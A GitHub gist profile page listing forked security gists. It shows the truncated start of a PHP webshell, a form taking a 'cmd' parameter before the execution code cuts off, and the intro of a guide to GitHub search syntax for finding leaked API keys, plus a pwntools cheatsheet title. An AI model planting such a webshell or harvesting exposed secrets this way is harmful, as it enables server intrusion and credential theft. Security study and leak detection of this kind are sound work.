Skip to content

Instantly share code, notes, and snippets.

View KnightChaser's full-sized avatar
👟
¿Que estas esperando?

Garam Lee KnightChaser

👟
¿Que estas esperando?
66 followers · 78 following
View GitHub Profile
@KnightChaser
KnightChaser / easy-simple-php-webshell.php
Created September 15, 2021 03:33 — forked from joswr1ght/easy-simple-php-webshell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@KnightChaser
KnightChaser / GitHub-Leaked-API-Keys-and-Secrets.md
Created June 18, 2023 13:41 — forked from win3zz/GitHub-Leaked-API-Keys-and-Secrets.md

GitHub Search Syntax for Finding API Keys/Secrets/Tokens

As a security professional, it is important to conduct a thorough reconnaissance. With the increasing use of APIs nowadays, it has become paramount to keep access tokens and other API-related secrets secure in order to prevent leaks. However, despite technological advances, human error remains a factor, and many developers still unknowingly hardcode their API secrets into source code and commit them to public repositories. GitHub, being a widely popular platform for public code repositories, may inadvertently host such leaked secrets. To help identify these vulnerabilities, I have created a comprehensive search list using powerful search syntax that enables the search of thousands of leaked keys and secrets in a single search.

Search Syntax:

(path:*.{File_extension1} OR path:*.{File_extension-N}) AND ({Keyname1} OR {Keyname-N}) AND (({Signature/pattern1} OR {Signature/pattern-N}) AND ({PlatformTag1} OR {PlatformTag-N}))

Examples:

**1.

@KnightChaser
KnightChaser / pwntools-cheatsheet.md
Created July 19, 2023 12:32 — forked from anvbis/pwntools-cheatsheet.md
pwntools-cheatsheet.md